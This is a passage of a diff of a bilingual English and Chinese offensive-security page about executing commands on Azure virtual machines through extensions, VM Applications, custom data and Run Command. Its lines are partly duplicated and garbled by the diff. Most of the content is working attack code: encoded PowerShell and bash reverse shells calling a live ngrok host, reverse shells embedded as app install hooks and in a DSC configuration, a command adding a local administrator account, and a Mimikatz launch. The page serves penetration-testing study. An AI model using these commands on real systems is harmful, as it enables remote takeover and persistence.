--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
- 从文件执行反向 shell
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
您还可以执行其他有效负载,例如: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
- 使用 VMAccess 扩展重置密码
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Relevant VM extensions
|
||||
### 相关的虚拟机扩展
|
||||
|
||||
The required permission is still **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
所需的权限仍然是 **`Microsoft.Compute/virtualMachines/extensions/write`**。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
<summary>VMAccess 扩展</summary>
|
||||
|
||||
此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
这是一个属于微软的**VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中**执行任意命令**:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
@@ -612,37 +581,35 @@ RevShellConfig -OutputPath .\Output
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
<summary>混合运行簿工作者</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-automation-account/).
|
||||
这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看[自动化帐户服务](../az-automation-account/)。
|
||||
|
||||
</details>
|
||||
|
||||
### VM Applications
|
||||
|
||||
These are packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs.
|
||||
### 虚拟机应用程序
|
||||
|
||||
这些是包含所有**应用程序数据和安装及卸载脚本**的包,可用于轻松添加和删除虚拟机中的应用程序。
|
||||
```bash
|
||||
# List all galleries in resource group
|
||||
az sig list --resource-group <res-group> --output table
|
||||
@@ -650,20 +617,19 @@ az sig list --resource-group <res-group> --output table
|
||||
# List all apps in a fallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
These are the paths were the applications get downloaded inside the file system:
|
||||
这些是应用程序在文件系统中下载的路径:
|
||||
|
||||
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
|
||||
Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
查看如何安装新应用程序 [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.
|
||||
> 可以**与其他订阅或租户共享单个应用程序和画廊**。这非常有趣,因为这可能允许攻击者在应用程序中植入后门,并转向其他订阅和租户。
|
||||
|
||||
But there **isn't a "marketplace" for vm apps** like there is for extensions.
|
||||
但是**没有像扩展那样的虚拟机应用程序“市场”**。
|
||||
|
||||
The permissions required are:
|
||||
所需的权限是:
|
||||
|
||||
- `Microsoft.Compute/galleries/applications/write`
|
||||
- `Microsoft.Compute/galleries/applications/versions/write`
|
||||
@@ -671,62 +637,59 @@ The permissions required are:
|
||||
- `Microsoft.Network/networkInterfaces/join/action`
|
||||
- `Microsoft.Compute/disks/write`
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
利用示例以执行任意命令:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -735,79 +698,73 @@ echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",1
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### User data
|
||||
### 用户数据
|
||||
|
||||
This is **persistent data** that can be retrieved from the metadata endpoint at any time. Note in Azure user data is different from AWS and GCP because **if you place a script here it's not executed by default**.
|
||||
这是**持久数据**,可以随时从元数据端点检索。请注意,在Azure中,用户数据与AWS和GCP不同,因为**如果您在这里放置脚本,它不会默认执行**。
|
||||
|
||||
### Custom data
|
||||
### 自定义数据
|
||||
|
||||
It's possible to pass some data to the VM that will be stored in expected paths:
|
||||
|
||||
- In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
|
||||
- In **Linux** it was stored in `/var/lib/waagent/ovf-env.xml` and now it's stored in `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Linux agent**: It doesn't process custom data by default, a custom image with the data enabled is needed
|
||||
- **cloud-init:** By default it processes custom data and this data may be in [**several formats**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). It could execute a script easily sending just the script in the custom data.
|
||||
- I tried that both Ubuntu and Debian execute the script you put here.
|
||||
- It's also not needed to enable user data for this to be executed.
|
||||
可以将一些数据传递给VM,这些数据将存储在预期路径中:
|
||||
|
||||
- 在**Windows**中,自定义数据以二进制文件的形式放置在`%SYSTEMDRIVE%\AzureData\CustomData.bin`中,并且不会被处理。
|
||||
- 在**Linux**中,它存储在`/var/lib/waagent/ovf-env.xml`中,现在存储在`/var/lib/waagent/CustomData/ovf-env.xml`中。
|
||||
- **Linux代理**:默认情况下不处理自定义数据,需要启用数据的自定义映像。
|
||||
- **cloud-init**:默认情况下处理自定义数据,这些数据可以是[**多种格式**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)。它可以轻松执行脚本,只需将脚本发送到自定义数据中。
|
||||
- 我尝试过,Ubuntu和Debian都会执行您放在这里的脚本。
|
||||
- 也不需要启用用户数据才能执行此操作。
|
||||
```bash
|
||||
#!/bin/sh
|
||||
echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **运行命令**
|
||||
|
||||
### **Run Command**
|
||||
|
||||
This is the most basic mechanism Azure provides to **execute arbitrary commands in VMs**. The needed permission is `Microsoft.Compute/virtualMachines/runCommand/action`.
|
||||
这是 Azure 提供的最基本机制,用于 **在虚拟机中执行任意命令**。所需权限为 `Microsoft.Compute/virtualMachines/runCommand/action`。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Execute rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--command-id RunShellScript \
|
||||
--scripts @revshell.sh
|
||||
|
||||
# revshell.sh file content
|
||||
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
|
||||
# Execute a rev shell
|
||||
az vm run-command invoke \
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
--resource-group Research \
|
||||
--name juastavm \
|
||||
--command-id RunPowerShellScript \
|
||||
--scripts @revshell.ps1
|
||||
|
||||
## Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
@@ -824,42 +781,37 @@ echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1
|
||||
Import-module MicroBurst.psm1
|
||||
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Privilege Escalation
|
||||
## 权限提升
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Access
|
||||
## 未经身份验证的访问
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
## 利用后
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
## 持久性
|
||||
|
||||
{{#ref}}
|
||||
../../az-persistence/az-vms-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
|
||||
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
|
||||
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)
|
